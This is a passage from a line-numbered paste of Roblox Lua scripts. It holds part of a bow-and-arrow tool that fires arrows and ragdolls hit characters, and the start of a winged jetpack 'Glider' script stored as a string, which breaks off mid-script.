  669. weld(han,p,CFrame.new(-.1,.8,0) * CFrame.Angles(math.rad(0),0,0))
  670. local p = clone(part)
  671. p.Size = Vector3.new(.45,.2,.32)
  672. local m = Instance.new("BlockMesh",p)
  673. m.Scale = Vector3.new(1,.5,1)
  674. weld(han,p,CFrame.new(0,1,.125) * CFrame.Angles(math.rad(-5),0,0))
  675. local p = clone(part)
  676. p.Size = Vector3.new(.45,.2,.25)
  677. local m = Instance.new("BlockMesh",p)
  678. m.Scale = Vector3.new(1,.5,1)
  679. weld(han,p,CFrame.new(0,1,-.125) * CFrame.Angles(math.rad(5),0,0))
  680. local t1 = clone(part)
  681. t1.Size = Vector3.new(.2,1,.3)
  682. local m = Instance.new("BlockMesh",t1)
  683. m.Scale = Vector3.new(1,1,1)
  684. local tw1 = weld(han,t1,CFrame.new(0,.975,0) * CFrame.Angles(math.rad(10),0,0),CFrame.new(0,-.5,0))
  685. local t2 = clone(part)
  686. t2.Size = Vector3.new(.2,1,.25)
  687. local m = Instance.new("BlockMesh",t2)
  688. m.Scale = Vector3.new(.9,1,1)
  689. local tw2 = weld(t1,t2,CFrame.new(0,.5,-.15) * CFrame.Angles(math.rad(25),0,0),CFrame.new(0,-.5,-.125))
  690. local t3 = clone(part)
  691. t3.Size = Vector3.new(.2,1,.2)
  692. local m = Instance.new("BlockMesh",t3)
  693. m.Scale = Vector3.new(.75,1,1)
  694. local tw3 = weld(t2,t3,CFrame.new(0,.5,-.125) * CFrame.Angles(math.rad(25),0,0),CFrame.new(0,-.5,-.1))
  695. local tt = clone(part)
  696. tt.BrickColor = BrickColor.new("Black")
  697. tt.Size = Vector3.new(.2,.3,.2)
  698. local m = Instance.new("BlockMesh",tt)
  699. m.Scale = Vector3.new(.5,1,1) * .5
  700. local ttw = weld(t3,tt,CFrame.new(0,.5,.1) * CFrame.Angles(math.rad(25),0,0),CFrame.new(0,0,.05))
  701. local W = {bw1,bw2,bw3,tw1,tw2,tw3}
  702. local W0 = {bw1.C0,bw2.C0,bw3.C0,tw1.C0,tw2.C0,tw3.C0}
  703. local l1 = clone(part)
  704. l1.BrickColor = BrickColor.new("Light reddish violet")
  705. l1.Size = Vector3.new(.2,.2,.2)
  706. local m = Instance.new("CylinderMesh",l1)
  707. local l1w = weld(bt,l1)
  708. local l2 = clone(l1)
  709. local l2w = weld(tt,l2)
  710. local amodel = Instance.new("Model")
  711. local arrow = clone(part)
  712. arrow.Parent = amodel
  713. arrow.BrickColor = BrickColor.new("Brown")
  714. arrow.Size = Vector3.new(.2,3,.2)
  715. arrow.Name = "main"
  716. local m = Instance.new("CylinderMesh",arrow)
  717. m.Scale = Vector3.new(.5,1,.5)
  718. local arrw = weld(han,arrow)
  719. local tip = clone(part)
  720. tip.Parent = amodel
  721. tip.BrickColor = BrickColor.new("Cool yellow")
  722. tip.Size = Vector3.new(.2,.4,.2)
  723. tip.Name = "tip"
  724. local m = Instance.new("SpecialMesh",tip)
  725. m.MeshId = "rbxassetid://1033714"
  726. m.Scale = Vector3.new(.1,.45,.1)
  727. weld(arrow,tip,CFrame.new(0,1.6,0))
  728. local walkspeed = 16
  729. local hpos_i = CFrame.new(0,.8,1.3)
  730. local hpos_l = CFrame.new(0,.8,1.55)
  731. local hpos = hpos_i
  732. local keeper = Vector3.new(0.07,0.82,0)
  733. mouse.Button1Up:connect(function()
  734.         mup = true
  735. end)
  736. function ragJoint(hit,r,d)
  737.         Spawn(oc(function()
  738.                 d = d or 0
  739.                 local rpar,r0,r1 = r.Parent,r.Part0,r.Part1
  740.                 if d > 0 then wait(d) end
  741.                 local p = hit:Clone()
  742.                 p:BreakJoints()
  743.                 p:ClearAllChildren()
  744.                 p.FormFactor = "Custom"
  745.                 p.Size = p.Size/2
  746.                 p.Transparency = 1
  747.                 p.CanCollide = true
  748.                 p.Name = "Colliduh"
  749.                 p.Parent = hit
  750.                 local w = Instance.new("Weld",p)
  751.                 w.Part0 = hit
  752.                 w.Part1 = p
  753.                 w.C0 = CFrame.new(0,-p.Size.Y/2,0)
  754.                 local rot = Instance.new("Rotate",rpar)
  755.                 rot.Name = r.Name
  756.                 rot.Part0 = r0
  757.                 rot.Part1 = r1
  758.                 rot.C0 = r.C0
  759.                 rot.C1 = r.C1
  760.                 r0.Velocity = Vector3.new()
  761.                 r1.Velocity = Vector3.new()
  762.                 r:Destroy()
  763.         end))
  764. end
  765. function ShootArrow(a,to,spd)
  766.         Spawn(oc(function()
  767.                 local from = a.main.CFrame
  768.                 a:Destroy()
  769.                 local a = amodel:Clone()
  770.                 for i,v in pairs(a:GetChildren()) do
  771.                         if v:IsA("BasePart") then
  772.                                 v.Anchored = true
  773.                         end
  774.                 end
  775.                 a:MakeJoints()
  776.                 a.Parent = workspace
  777.                 local m = a.main
  778.                 --local from = m.CFrame
  779.                 local t = {}
  780.                 local function move(cf)
  781.                         for i,v in pairs(a:GetChildren()) do
  782.                                 if v ~= m and v:IsA("BasePart") then
  783.                                         t[v] = t[v] or m.CFrame:toObjectSpace(v.CFrame)
  784.                                         v.CFrame = cf * t[v]
  785.                                 end
  786.                         end
  787.                         m.CFrame = cf
  788.                 end
  789.                 move(from)
  790.                 local velocity = (to.p-from.p).unit * spd * 500
  791.                 local con
  792.                 local t = tick()
  793.                 con = game:GetService("RunService").Stepped:connect(function()
  794.                         if tick()-t > 25 then
  795.                                 con:disconnect()
  796.                                 a:Destroy()
  797.                                 return
  798.                         end
  799.                         velocity = velocity - Vector3.new(0,196.2/30,0)
  800.                         local newcf = clerp(m.CFrame,CFrame.new(m.Position,m.Position+velocity) * CFrame.Angles(-math.pi/2,0,0),.5) + velocity / 30
  801.                         local hit,ray
  802.                         local rayo = Ray.new(m.Position,newcf.p-m.Position)
  803.                         local ign = {a,char}
  804.                         repeat
  805.                                 hit,ray = workspace:FindPartOnRayWithIgnoreList(rayo,ign)
  806.                                 if not hit then break end
  807.                                 if hit.CanCollide or game:GetService("Players"):GetPlayerFromCharacter(hit.Parent) then
  808.                                         break
  809.                                 else
  810.                                         table.insert(ign,hit)
  811.                                         hit = nil
  812.                                 end
  813.                         until false
  814.                         if hit then
  815.                                 move(newcf-newcf.p+ray)
  816.                                 con:disconnect()
  817.                                 game:GetService("Debris"):AddItem(a,300)
  818.                                 local char = hit.Parent
  819.                                 if not hit.Anchored then
  820.                                         local b = hit.CFrame:toObjectSpace(m.CFrame)
  821.                                         for i,v in pairs(a:GetChildren()) do
  822.                                                 pcall(function() v.Anchored = false v.CanCollide = true end)
  823.                                         end
  824.                                         weld(hit,m,b)
  825.                                 end
  826.                                 if game:service'Players':GetPlayerFromCharacter(char) and char:FindFirstChild("Torso") then
  827.                                         if hit.Name:match("Arm") then
  828.                                                 local r = char.Torso:FindFirstChild(hit.Name:gsub("Arm","Shoulder"):gsub("Leg","Hip"))
  829.                                                 if r then
  830.                                                         ragJoint(hit,r)
  831.                                                 end
  832.                                         elseif hit.Name:match("Head") then
  833.                                                 for i,v in pairs(char:GetChildren()) do
  834.                                                         local r = char.Torso:FindFirstChild(v.Name:gsub("Arm","Shoulder"):gsub("Leg","Hip"))
  835.                                                         if v:IsA("BasePart") and r then
  836.                                                                 ragJoint(v,r,.1)
  837.                                                         elseif v:IsA("Humanoid") then
  838.                                                                 v.PlatformStand = true
  839.                                                                 v.Changed:connect(function()
  840.                                                                         v.PlatformStand = true
  841.                                                                 end)
  842.                                                         end
  843.                                                 end
  844.                                                 Delay(8,function()
  845.                                                         char:BreakJoints()
  846.                                                 end)
  847.                                         end
  848.                                 end
  849.                                 return
  850.                         else
  851.                                 move(newcf)
  852.                         end
  853.                 end)
  854.         end))
  855. end
  856. mouse.Button1Down:connect(oc(function()
  857.         if mb then return end
  858.         mb = true
  859.         mup = false
  860.         rls.Part0,rls.Part1 = nil,nil
  861.         ls.Part0,ls.Part1 = tor,la
  862.         ls.Parent = tor
  863.         ls.C0 = ls.C0 * CFrame.Angles(0,0,rls.CurrentAngle)
  864.         rrs.Part0,rrs.Part1 = nil,nil
  865.         rs.Part0,rs.Part1 = tor,ra
  866.         rs.Parent = tor
  867.         rs.C0 = rs.C0 * CFrame.Angles(0,0,rrs.CurrentAngle)
  868.         local hc0 = hold.C0
  869.         local bg = Instance.new("BodyGyro",tor)
  870.         bg.maxTorque = Vector3.new(1,1,1)*9e7
  871.         local ltar = 0
  872.         local rtar = rrs.C0 * CFrame.Angles(0,0,math.rad(90)) * CFrame.Angles(math.rad(70),0,0) + Vector3.new(-.65,.25,-.25)
  873.         local ntar = nk0 * CFrame.Angles(0,0,math.rad(70))
  874.         local htar = hc0 * CFrame.Angles(0,math.rad(10),0)
  875.         local t = tick()
  876.         local iam = 0
  877.         local ham = .3
  878.         local lend = false
  879.         local ended
  880.         local arr = amodel:Clone()
  881.         arr.Parent = model
  882.         arr:MakeJoints()
  883.         hum.WalkSpeed = walkspeed/1.5
  884.         local aw = weld(ra,arr.main,CFrame.new(0,-1,0)*CFrame.Angles(-math.pi/2,0,0),CFrame.new(0,-1.5,0))
  885.         func = function()
  886.                 local a = (mouse.Hit.p-tor.CFrame:toWorldSpace(ls.C0).p).unit
  887.                 bg.cframe = CFrame.new(tor.Position,mouse.Hit.p*Vector3.new(1,0,1)+tor.Position*Vector3.new(0,1,0)) * CFrame.Angles(0,math.rad(-75),0)
  888.                 local b = math.min(.7,math.max(-.7,a.Y))
  889.                 ls.C0 = clerp(ls.C0,rls.C0 * CFrame.Angles(math.rad(-90),math.rad(90),math.rad(b*-90)) * CFrame.Angles(math.rad(40),math.rad(0),0) + Vector3.new(math.abs(b)*0,-.25,-.6),.3)
  890.                 local c = tor.CFrame:toObjectSpace(han.CFrame*hpos) * CFrame.new(0,0,0)
  891.                 local d = Vector3.new(1,.6,0)
  892.                 rs.C1 = CFrame.new()
  893.                 rs.C0 = clerp(rs.C0,CFrame.new(d,c.p) * CFrame.new(0,0,-(c.p-d).magnitude+.95) * CFrame.Angles(math.pi/2,math.pi/2,0),.3)
  894.                 nk.C0 = clerp(nk.C0,ntar * CFrame.Angles(math.rad(math.floor(b*-90)),0,0),.3)
  895.                 hold.C0 = clerp(hold.C0,htar,.3)
  896.                 for i,v in pairs(W) do
  897.                         -- v.C0 = clerp(v.C0,W0[i] * CFrame.Angles((not mup and (i>3 and 1 or -1)*iam or 0)*.1,0,0),.6)
  898.                         v.C0 = clerp(v.C0,W0[i] * CFrame.Angles((not mup and (i>3 and 1 or -1)*iam or 0)*.1,0,0),.6)
  899.                 end
  900.                 if not mup then
  901.                         hpos = clerp(hpos,hpos_l * CFrame.new(0,0,iam),.2)
  902.                         if aw then aw.C0 = CFrame.new(Vector3.new(0,-1,0),ra.CFrame:toObjectSpace(han.CFrame*CFrame.new(keeper)).p) * CFrame.Angles(-math.pi/2,0,0) end
  903.                         if tick()-t > .5 and iam < 1 then
  904.                                iam = iam + math.max(0.003,.03-(tick()-t-.5)/70)
  905.                                ham = iam
  906.                                if aw then
  907.                                        aw:Destroy()
  908.                                        arrw.Parent = han
  909.                                        arrw.Part0 = han
  910.                                        arrw.Part1 = arr.main
  911.                                        aw = nil
  912.                                end
  913.                        end
  914.                else
  915.                        hpos = clerp(hpos,hpos_l,ham/math.max(0.01,(hpos.p-hpos_l.p).magnitude))
  916.                        ham = ham * .7
  917.                        if not ended then
  918.                                ended = true
  919.                                if iam > 0 then
  920.                                         arrw.Part1 = nil
  921.                                         ShootArrow(arr,mouse.Hit,iam)
  922.                                         iam = iam + .2                        
  923.                                         wait(.5)
  924.                                         lend = true
  925.                                 else
  926.                                         wait(.1)
  927.                                         arr:Destroy()
  928.                                         lend = true
  929.                                 end
  930.                         end
  931.                 end
  932.         end
  933.         repeat wait() until lend or tick()-t > 45
  934.         mup = nil
  935.         func = nil
  936.         hum.WalkSpeed = walkspeed
  937.         ls.Part0,ls.Part1 = nil,nil
  938.         ls.Parent = nil
  939.         rls.Part0,rls.Part1 = tor,la
  940.         ls.C0 = rls.C0
  941.         rs.Part0,rs.Part1 = nil,nil
  942.         rs.Parent = nil
  943.         rrs.Part0,rrs.Part1 = tor,ra
  944.         rs.C0 = rrs.C0
  945.         nk.C0 = nk0
  946.         bg:Destroy()
  947.         hold.C0 = hc0
  948.         hpos = hpos_i
  949.         mb = false
  950. end))
  951. rcon = game:GetService("RunService").Stepped:connect(oc(function()
  952.         if not model:IsDescendantOf(workspace) then rcon:disconnect() error() return end
  953.         --local tc = bt.CFrame:toObjectSpace(tt.CFrame)
  954.         --local bc = tt.CFrame:toObjectSpace(bt.CFrame)
  955.         local bm = bt.CFrame:toObjectSpace(han.CFrame*hpos)
  956.         local tm = tt.CFrame:toObjectSpace(han.CFrame*hpos)
  957.         l1w.C0 = CFrame.new(bm.p/2,bm.p) * CFrame.Angles(math.pi/2,0,0)
  958.         l1.Mesh.Scale = Vector3.new(.2,bm.p.magnitude*5,.2)
  959.         l2w.C0 = CFrame.new(tm.p/2,tm.p) * CFrame.Angles(math.pi/2,0,0)
  960.         l2.Mesh.Scale = Vector3.new(.2,tm.p.magnitude*5,.2)
  961.         arrw.C0 = CFrame.new(hpos.p,keeper)*CFrame.new(0,0,-arrow.Size.Y/2) * CFrame.Angles(-math.pi/2,0,0)
  962.         if func then
  963.                 func()
  964.         end
  965. end))
  966.  
  967. ]==]
  968.  
  969. Glider = [==[
  970. --- Made by DoogleFox, Full credit given
  971. local player = game:service("Players").LocalPlayer
  972. local char = player.Character
  973. local cam = workspace.CurrentCamera
  974. local Torsoz = char:findFirstChild("Torso")
  975. local RA = char:findFirstChild("Right Arm")
  976. local LA = char:findFirstChild("Left Arm")
  977. local RL = char:findFirstChild("Right Leg")
  978. local LL = char:findFirstChild("Left Leg")
  979. local H = char:findFirstChild("Head")
  980. local RS = Torsoz:findFirstChild("Right Shoulder")
  981. local LS = Torsoz:findFirstChild("Left Shoulder")
  982. local RH = Torsoz:findFirstChild("Right Hip")
  983. local LH = Torsoz:findFirstChild("Left Hip")
  984. local N = Torsoz:findFirstChild("Neck")
  985. local hu = char:findFirstChild("Humanoid")
  986. local mouse = player:GetMouse()
  987. local Lights = {}
  988. local JetFlames = {}
  989. local LightChangeSpeed = 0.02
  990. local LeftWing
  991. local RightWing
  992. local WingParts = {}
  993. local Flying = false
  994. local JetActive = false
  995. local idle = false
  996. local velo = 0
  997.  
  998. local bp = Instance.new("BodyPosition")
  999. bp.maxForce = Vector3.new(1/0,1/0,1/0)
  1000. bp.D = 100
  1001. local bg = Instance.new("BodyGyro")
  1002. bg.maxTorque = Vector3.new(1/0,1/0,1/0)
  1003. bg.D = 320
  1004. local bv = Instance.new("BodyVelocity")
  1005. bv.maxForce = Vector3.new(1/0,1/0,1/0)
  1006.  
  1007. local P = Instance.new("Part")
  1008. P.Anchored = false
  1009. P.CanCollide = false
  1010. P.Name = "Part"
  1011. P.formFactor = "Custom"
  1012. P.Size = Vector3.new(0.5,0.5,0.5)
  1013. P.Locked = true
  1014. P.TopSurface = 0
  1015. P.BottomSurface = 0
  1016. P.BrickColor = BrickColor.new("Dark stone grey")
  1017. P.Transparency = 0
  1018.  
  1019. local bp = Instance.new("BodyPosition")
  1020. bp.maxForce = Vector3.new(1/0,1/0,1/0)
  1021. local bv = Instance.new("BodyVelocity")
  1022. bv.maxForce = Vector3.new(1/0,1/0,1/0)
  1023. local bg = Instance.new("BodyGyro")
  1024. bg.maxTorque = Vector3.new(1/0,1/0,1/0)
  1025. bg.D = 300
  1026.  
  1027. local wingcolor = "Really black"
  1028. local maxvelo = 60
  1029. local acceleration = 1
  1030.  
  1031. ---------------------------------- Design ------------------------------------------
  1032. for i, v in pairs(char:children()) do
  1033. if v.className == "Model" and v.Name == "Pack" then
  1034. v:remove()
  1035. end
  1036. end
  1037. local m = Instance.new("Model", char)
  1038. m.Name = "Pack"
  1039.  
  1040. local b = P:Clone()
  1041. b.Parent = m
  1042. local mesh = Instance.new("SpecialMesh", b)
  1043. mesh.MeshType = "Head"
  1044. mesh.Scale = Vector3.new(2.6,1.2,2.6)
  1045. local w = Instance.new("Motor", b)
  1046. w.Part0 = Torsoz
  1047. w.Part1 = b
  1048. w.C0 = CFrame.new(0,0.2,0.35) * CFrame.Angles(math.pi/2,0,0)
  1049. local p = P:Clone()
  1050. p.Parent = m
  1051. local mesh = Instance.new("SpecialMesh", p)
  1052. mesh.MeshType = "Head"
  1053. mesh.Scale = Vector3.new(2,1.2,2)
  1054. local w = Instance.new("Motor", p)
  1055. w.Part0 = Torsoz
  1056. w.Part1 = p
  1057. w.C0 = CFrame.new(0,0.2,0.45) * CFrame.Angles(math.pi/2,0,0)
  1058.  
  1059. local p = P:Clone()
  1060. p.Parent = m
  1061. local mesh = Instance.new("SpecialMesh", p)
  1062. mesh.MeshType = "Head"
  1063. mesh.Scale = Vector3.new(2.02,1.2,2.02)
  1064. local w = Instance.new("Motor", p)
  1065. w.Part0 = Torsoz
  1066. w.Part1 = p
  1067. w.C0 = CFrame.new(0,0.2,0.445) * CFrame.Angles(math.pi/2,0,0)
  1068. table.insert(Lights, p)
  1069.  
  1070. for i = 1, 3 do
  1071. local p = P:Clone()
  1072. p.Parent = m
  1073. local mesh = Instance.new("CylinderMesh", p)
  1074. if i == 2 then
  1075. mesh.Scale = Vector3.new(0.4,1.2,0.4)
  1076. else
  1077. mesh.Scale = Vector3.new(0.35,1,0.35)
  1078. end
  1079. local w = Instance.new("Motor", p)
  1080. w.Part0 = Torsoz
  1081. w.Part1 = p
  1082. w.C0 = CFrame.new(-0.3+(0.15*i),-0.25,0.55)
  1083. if i == 2 then
  1084. CenterJet = p
  1085. end
  1086. local l = P:Clone()
  1087. l.Parent = m
  1088. local mesh = Instance.new("CylinderMesh", l)
  1089. local w = Instance.new("Motor", l)
  1090. w.Part0 = p
  1091. w.Part1 = l
  1092. if i == 2 then
  1093. mesh.Scale = Vector3.new(0.405,0.12,0.405)
  1094. w.C0 = CFrame.new(0,-0.2,0)
  1095. else
  1096. mesh.Scale = Vector3.new(0.355,0.12,0.355)
  1097. w.C0 = CFrame.new(0,-0.15,0)
  1098. end
  1099. table.insert(Lights, l)
  1100. end
  1101.  
  1102. for i = 1, 3 do
  1103. local l = P:Clone()
  1104. l.Parent = m
  1105. local mesh = Instance.new("CylinderMesh", l)
  1106. mesh.Scale = Vector3.new(0.12,0.1,0.12)
  1107. local w = Instance.new("Motor", l)
  1108. w.Part0 = Torsoz
  1109. w.Part1 = l
  1110. w.C0 = CFrame.new(0.3-(0.15*i),0.3,0.73) * CFrame.Angles(math.pi/2,0,0)
  1111. table.insert(Lights, l)
  1112. end
  1113.  
  1114. ------- wings ------
  1115. for i = 0, 1 do
  1116. local p = P:Clone()
  1117. p.Parent = m
  1118. local mesh = Instance.new("SpecialMesh", p)
  1119. mesh.MeshType = "Sphere"
  1120. mesh.Scale = Vector3.new(1,1,1)
  1121. local w = Instance.new("Motor", p)
  1122. w.Part0 = Torsoz
  1123. w.Part1 = p
  1124. w.C0 = CFrame.new(0,0.55,0.55) * CFrame.Angles(0,math.pi*i,0)
  1125. w.C1 = CFrame.new(0.425,0,0)
  1126.  
  1127. local c = P:Clone()
  1128. c.Parent = m
  1129. c.BrickColor = BrickColor.new(wingcolor)
  1130. c.Name = "WingSpine"..i+1
  1131. local mesh = Instance.new("BlockMesh", c)
  1132. mesh.Scale = Vector3.new(0.26,6,0.2)
  1133. local w = Instance.new("Motor", c)
  1134. w.Part0 = p
  1135. w.Part1 = c
  1136. w.C0 = CFrame.Angles(0,0,-math.pi/7)
  1137. w.C1 = CFrame.new(0,1.5,0)
  1138. w.MaxVelocity = 0.15
  1139. if i == 0 then
  1140. LeftWing = w
  1141. else
  1142. RightWing = w
  1143. end
  1144. table.insert(WingParts, c)
  1145. local p = P:Clone()
  1146. p.Parent = m
  1147. p.BrickColor = BrickColor.new(wingcolor)
  1148. local mesh = Instance.new("SpecialMesh", p)
  1149. mesh.MeshType = "Wedge"
  1150. mesh.Scale = Vector3.new(0.2,4,2.2)
  1151. local w = Instance.new("Motor", p)
  1152. w.Part0 = c
  1153. w.Part1 = p
  1154. w.C0 = CFrame.new(0.485,-0.85,0) * CFrame.Angles(math.pi,-math.pi/2,0)
  1155. table.insert(WingParts, p)
  1156. local p = P:Clone()
  1157. p.Parent = m
  1158. p.BrickColor = BrickColor.new(wingcolor)
  1159. local mesh = Instance.new("BlockMesh", p)
  1160. mesh.Scale = Vector3.new(2,0.5,0.2)
  1161. local w = Instance.new("Motor", p)
  1162. w.Part0 = c
  1163. w.Part1 = p
  1164. w.C0 = CFrame.new(0.535,0.275,0)
  1165. table.insert(WingParts, p)
  1166. local p = P:Clone()
  1167. p.Parent = m
  1168. p.BrickColor = BrickColor.new(wingcolor)
  1169. local mesh = Instance.new("SpecialMesh", p)
  1170. mesh.MeshType = "Wedge"
  1171. mesh.Scale = Vector3.new(0.2,1.5,1)
  1172. local w = Instance.new("Motor", p)
  1173. w.Part0 = c
  1174. w.Part1 = p
  1175. w.C0 = CFrame.new(0.785,0.77,0) * CFrame.Angles(0,-math.pi/2,0)
  1176. table.insert(WingParts, p)
  1177. local p = P:Clone()
  1178. p.Parent = m
  1179. p.BrickColor = BrickColor.new(wingcolor)
  1180. local mesh = Instance.new("BlockMesh", p)
  1181. mesh.Scale = Vector3.new(0.94,1.5,0.2)
  1182. local w = Instance.new("Motor", p)
  1183. w.Part0 = c
  1184. w.Part1 = p
  1185. w.C0 = CFrame.new(0.3,0.77,0)
  1186. table.insert(WingParts, p)
  1187. local p = P:Clone()
  1188. p.Parent = m
  1189. p.BrickColor = BrickColor.new(wingcolor)
  1190. local mesh = Instance.new("SpecialMesh", p)
  1191. mesh.MeshType = "Wedge"
  1192. mesh.Scale = Vector3.new(0.2,1,0.977)
  1193. local w = Instance.new("Motor", p)
  1194. w.Part0 = c
  1195. w.Part1 = p
  1196. w.C0 = CFrame.new(0.3,1.385,0) * CFrame.Angles(0,-math.pi/2,0)
  1197. table.insert(WingParts, p)
  1198.  
  1199. end
  1200.  
  1201. local spacedet = 0
  1202. local KEYS = {false, false, false, false}
  1203. mouse.KeyDown:connect(function(key)
  1204. if key == string.char(32) then
  1205. if (tick() - spacedet) < 0.3 then
  1206. Flying = not Flying
  1207. end
  1208. spacedet = tick()
  1209. end
  1210. if key == "w" then
  1211. KEYS[1] = true
  1212. end
  1213. if key == "a" then
  1214. KEYS[2] = true
  1215. end
  1216. if key == "s" then
  1217. KEYS[3] = true
  1218. end
  1219. if key == "d" then
  1220. KEYS[4] = true
  1221. end
  1222. end)
  1223.  
  1224. mouse.KeyUp:connect(function(key)
  1225. if key == "w" then
  1226. KEYS[1] = false
  1227. end
  1228. if key == "a" then
  1229. KEYS[2] = false
  1230. end
  1231. if key == "s" then
  1232. KEYS[3] = false
  1233. end
  1234. if key == "d" then
  1235. KEYS[4] = false
  1236. end
  1237. end)
  1238.  
  1239. local LTrailParts = {}
  1240. for i = 1, 21 do
  1241. local p = P:Clone()
  1242. p.Name = "TrailLine"
  1243. p.Anchored = true
  1244. p.BrickColor = BrickColor.new(wingcolor)
  1245. local mesh = Instance.new("CylinderMesh", p)
  1246. mesh.Name = "Mesh"
  1247. table.insert(LTrailParts, p)
  1248. end
  1249. local RTrailParts = {}
  1250. for i = 1, 21 do
  1251. local p = P:Clone()
  1252. p.Name = "TrailLine"
  1253. p.Anchored = true
  1254. p.BrickColor = BrickColor.new(wingcolor)
  1255. local mesh = Instance.new("CylinderMesh", p)
  1256. mesh.Name = "Mesh"
  1257. table.insert(RTrailParts, p)
  1258. end
  1259. local Loldpos
  1260. local Roldpos
  1261.  
  1262. local lightval = {0.1, true}
  1263. local refval = 0.1
  1264. local firecolors = {"Bright red", "Bright orange"}
  1265. local firespeed = 2
  1266. local trailnum = 0
  1267. local num = 0
  1268. local lastflyaction = false
  1269. local lastidleaction = false
  1270. local idlebp = {0, 0, Torsoz.Position, true}
  1271.  
  1272. while true do
  1273. num = num + 1
  1274. trailnum = trailnum + 1
  1275.  
  1276. local unitz = (Torsoz.Position - cam.CoordinateFrame.p).unit
  1277. local camsight = Torsoz.Position + (unitz*90)
  1278. local diff = camsight.y - Torsoz.Position.y
  1279.  
  1280. ---------------------- Velocity Changes ----------------------------
  1281.  
  1282. ----------- W key --------------
  1283. if KEYS[1] == true then
  1284. velo = velo + acceleration
  1285. else
  1286. if velo > 0 then
  1287. local UP = velo - (acceleration/1.5)
  1288. if velo > 0 and UP < 0 then
  1289. velo = velo + UP
  1290. end
  1291. velo = velo - (acceleration/1.5)
  1292. end
  1293. end
  1294. ------------ S key -------------
  1295. if KEYS[3] == true then
  1296. if velo > 0 then
  1297. velo = velo - acceleration*1.2
  1298. else
  1299. velo = velo - (acceleration/1.5)
  1300. end
  1301. else
  1302. if velo < 0 then
  1303. local DOWN = velo + acceleration
  1304. if velo < 0 and DOWN > 0 then
  1305. velo = velo - DOWN
  1306. end
  1307. velo = velo + acceleration
  1308. end
  1309. end
  1310.  
  1311. local maxvelocalc = maxvelo
  1312. if diff < -35 then
  1313. if velo > 0 then
  1314. maxvelocalc = maxvelo + (maxvelo * -(((diff+35)/110)))
  1315. end
  1316. elseif diff > 35 then
  1317. if velo < 0 then
  1318. maxvelocalc = maxvelo + (maxvelo * -((((-diff)+35)/110)))
  1319. end
  1320. end
  1321.  
  1322. if velo >= maxvelocalc then
  1323. velo = maxvelocalc
  1324. elseif velo <= -maxvelocalc/2 then
  1325. velo = -maxvelocalc/2
  1326. end
  1327.  
  1328. ------------------------- Lights ----------------------
  1329. if lightval[1] < 0.15 then
  1330. lightval[2] = true
  1331. elseif lightval[1] > 0.76 then
  1332. lightval[2] = false
  1333. end
  1334. if lightval[2] == true then
  1335. lightval[1] = lightval[1] + LightChangeSpeed
  1336. else
  1337. lightval[1] = lightval[1] - LightChangeSpeed
  1338. end
  1339. for i, v in pairs(Lights) do
  1340. v.Transparency = lightval[1]
  1341. if LightChangeSpeed > 0.15 then
  1342. v.BrickColor = BrickColor.new("Bright red")
  1343. elseif LightChangeSpeed > 0.08 then
  1344. v.BrickColor = BrickColor.new("Bright orange")
  1345. else
  1346. v.BrickColor = BrickColor.new("Bright green")
  1347. end
  1348. end
  1349. --------------------------------------------------------
  1350.  
  1351. --------------------- Wing Shines -------------------------
  1352. for i, v in pairs(WingParts) do
  1353. if Flying == true then
  1354. if v.Reflectance > 0.19 then
  1355. v.Reflectance = v.Reflectance - 0.035
  1356. else
  1357. v.Reflectance = 0.19
  1358. end
  1359. else
  1360. if v.Reflectance < 0.43 then
  1361. v.Reflectance = v.Reflectance + 0.035
  1362. else
  1363. v.Reflectance = 0.43
  1364. end
  1365. end
  1366. end
  1367. ----------------------------------------------------
  1368.  
  1369. ------------------------ Jet Boost Flames --------------------------------
  1370. if num%firespeed == 0 and JetActive == true then
  1371. local f = P:Clone()
  1372. f.Parent = m
  1373. f.Name = "JetFire"
  1374. f.BrickColor = BrickColor.new(firecolors[math.random(1, #firecolors)])
  1375. f.Transparency = 0.15
  1376. f.Anchored = true
  1377. f.CFrame = CenterJet.CFrame * CFrame.new(0,-0.3,0)
  1378. local mesh = Instance.new("BlockMesh", f)
  1379. mesh.Scale = Vector3.new(0.6,0.6,0.6)
  1380. table.insert(JetFlames, {mesh, (f.Position - CenterJet.Position).unit})
  1381. end
  1382.  
  1383. for i, v in pairs(JetFlames) do
  1384. if v[1].Parent.Transparency < 0.9 then
  1385. v[1].Parent.Transparency = v[1].Parent.Transparency + 0.03
  1386. v[1].Scale = v[1].Scale + Vector3.new(0.08,0.08,0.08)
  1387. v[1].Parent.CFrame = v[1].Parent.CFrame * CFrame.Angles(math.random(-180,180)/360,math.random(-180,180)/360,math.random(-180,180)/360)
  1388. if idle == false then
  1389. v[1].Parent.CFrame = v[1].Parent.CFrame + (v[2]*0.1)
  1390. else
  1391. v[1].Parent.CFrame = v[1].Parent.CFrame + (v[2]*0.24)
  1392. end
  1393. else
  1394. v[1].Parent:remove()
  1395. table.remove(JetFlames, i)
  1396. end
  1397. end
  1398. --------------------------------------------------
  1399.  
  1400. ------------------------------ Flying --------------------------------
  1401.  
  1402. if Flying == true then
  1403.  
  1404. if lastflyaction == false then
  1405. bg = Instance.new("BodyGyro", Torsoz)
  1406. bg.maxTorque = Vector3.new(1/0,1/0,1/0)
  1407. bg.D = 350
  1408. end
  1409.  
  1410.  
  1411. --------- idle checker --------
  1412. if (velo > -0.5 and velo < 0.5) and (KEYS[1] == false and KEYS[3] == false) then
  1413. idle = true
  1414. if lastidleaction == false then
  1415. idlebp[3] = Torsoz.Position
  1416. end
  1417. else
  1418. idle = false
  1419. end
  1420.  
  1421. --------- idle float anim -----------
  1422. if idle == true then
  1423. if lastidleaction == false then
  1424. idlebp = {0, 0, Torsoz.Position, true}
  1425. end
  1426. if idlebp[2] >= 0.3 then
  1427. idlebp[4] = false
  1428. elseif idlebp[2] <= -0.3 then
  1429. idlebp[4] = true
  1430. end
  1431. if idlebp[4] == false then
  1432. idlebp[2] = idlebp[2] - 0.02
  1433. elseif idlebp[4] == true then
  1434. idlebp[2] = idlebp[2] + 0.02
  1435. end
  1436. idlebp[1] = idlebp[1] + idlebp[2]
  1437. end
  1438.  
  1439. ---------------- Body Objects ----------------------
  1440.  
  1441. if idle == true then
  1442. if lastidleaction == false then
  1443. bv:remove()
  1444. bp:remove()
  1445. bp = Instance.new("BodyPosition")
  1446. end
  1447. hu.PlatformStand = true
  1448. bp.Parent = Torsoz
  1449. bp.maxForce = Vector3.new(1/0,1/0,1/0)
  1450. bp.D = 100
  1451. bp.position = idlebp[3] + Vector3.new(0,idlebp[1],0)
  1452. bg.cframe = CFrame.new(Torsoz.Position, Torsoz.Position + cam.CoordinateFrame.lookVector)
  1453. else
  1454. if lastidleaction == true then
